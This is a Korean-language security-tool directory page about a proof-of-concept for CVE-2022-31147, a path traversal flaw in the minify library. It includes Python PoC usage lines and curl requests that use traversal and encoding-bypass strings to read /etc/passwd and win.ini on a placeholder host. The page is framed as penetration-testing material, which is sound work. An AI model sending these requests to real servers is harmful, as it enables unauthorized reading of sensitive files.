Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Webapp_Pentast — CVE-2022-31147 is a path traversal flaw in matthiasmullie/minify. This guide helps security teams test for arbitrary file read on Linux and Windows using Python and curl. It covers automated payload generation, manual validation, and safe practices for vulnerability assessment. | Kitploit
도구/GitHubGitHub/amhar-hckr/webapp_pentast
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubamhar-hckr/webapp_pentast

Webapp_Pentast

CVE-2022-31147 is a path traversal flaw in matthiasmullie/minify. This guide helps security teams test for arbitrary file read on Linux and Windows using Python and curl. It covers automated payload generation, manual validation, and safe practices for vulnerability assessment.

저장소 보기
11개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2022-31147 개념 증명 및 수동 테스트 가이드

이 가이드는 널리 사용되는 matthiasmullie/minify 라이브러리에 영향을 미치는 심각한 경로 순회 취약점인 CVE-2022-31147을 테스트하기 위한 포괄적인 방법론을 제공합니다. 이 취약점은 공격자가 minify 엔드포인트의 입력 검증 부족을 악용하여 Linux 및 Windows 서버 모두에서 임의의 파일 읽기 작업을 가능하게 합니다. 이 가이드는 웹 애플리케이션의 이 위협에 대한 노출을 평가하려는 보안 전문가, 침투 테스터 및 연구자를 위해 설계되었습니다.

이 가이드의 핵심은 자동화된 Python 개념 증명 스크립트로, 다양한 깊이의 디렉터리 트래버설(../), 여러 인코딩 방식(URL 인코딩 및 이중 인코딩 등), 엔드포인트 변형(가짜 확장자 및 쿼리 매개변수 포함)을 체계적으로 생성하고 테스트하여 일반적인 라우팅 및 필터링 메커니즘을 우회합니다. 이러한 기법을 활용함으로써 스크립트는 기본 웹 애플리케이션 방화벽이나 사용자 정의 라우팅 로직으로 보호되는 환경에서도 취약한 구성을 탐지할 가능성을 극대화합니다.

탐지 정확도는 응답 콘텐츠에서 알려진 파일 마커를 분석하는 내장 휴리스틱을 통해 더욱 향상됩니다. Linux 대상의 경우 스크립트는 /etc/passwd 또는 기타 민감한 파일의 패턴을 검색하고, Windows 시스템의 경우 win.ini와 같은 파일 내의 지표를 찾습니다. 이 접근 방식은 성공적인 익스플로잇을 안정적으로 식별하여 오탐을 최소화하고 검증 프로세스를 간소화합니다.

자동화된 테스트 외에도 가이드는 curl을 사용한 수동 검증 기법을 설명하여 실무자가 맞춤형 요청을 작성하고 보내거나 발견 사항을 독립적으로 확인할 수 있도록 합니다. 안전하고 승인된 테스트에 대한 권장 사항은 가이드 전반에 걸쳐 강조되며, 명시적 허가를 받은 시스템에서만 평가를 수행하는 것이 중요함을 포함합니다.

이 가이드는 빠른 검증과 심층 분석을 모두 지원하도록 설계되었으며, 사용자 정의 파일 대상 및 고급 우회 전략을 수용합니다. 더 넓은 취약성 평가 워크플로우에 통합되어 완화 및 위험 관리에 대한 실행 가능한 인사이트를 제공합니다. 제시된 방법론을 따르면 보안 팀은 환경에서 CVE-2022-31147 노출을 효과적으로 식별, 검증 및 해결하여 웹 애플리케이션의 전반적인 보안 상태를 강화할 수 있습니다.


자동화된 Python PoC

Linux 대상 예제

root@kitploit:~
python3 cve-2022-31147_poc.py --base https://yourdomain.tld/cdn/minify --linux --file /etc/passwd

Windows 대상 예제

root@kitploit:~
python3 cve-2022-31147_poc.py --base https://yourdomain.tld/cdn/minify --windows --file C:\Windows\win.ini

안전한 테스트 (권장)

서버에 무해한 파일을 생성한 후 읽기를 시도합니다:

root@kitploit:~
python3 cve-2022-31147_poc.py --base https://yourdomain.tld/cdn/minify --file /var/www/test.txt

curl을 이용한 수동 테스트

Linux 경로 트래버설

root@kitploit:~
curl -i "https://yourdomain.tld/cdn/minify/../../../../../../etc/passwd"

Windows 경로 트래버설

root@kitploit:~
curl -i "https://yourdomain.tld/cdn/minify/../../../../../../windows/win.ini"

우회 변형

root@kitploit:~
curl -i "https://yourdomain.tld/cdn/minify/%2e%2e/../%2e%2e/../../etc/passwd"
curl -i "https://yourdomain.tld/cdn/minify/../../../../../../etc/passwd.css"

참고 사항

  • https://yourdomain.tld/cdn/minify를 실제 대상 URL로 바꾸십시오.
  • 더 안전한 테스트를 위해 서버에 존재하는 것으로 알고 있는 파일을 사용하십시오.
  • 시스템에서 테스트하기 전에 항상 허가를 받으십시오.

참고 자료

  • CVE-2022-31147
도구 다운로드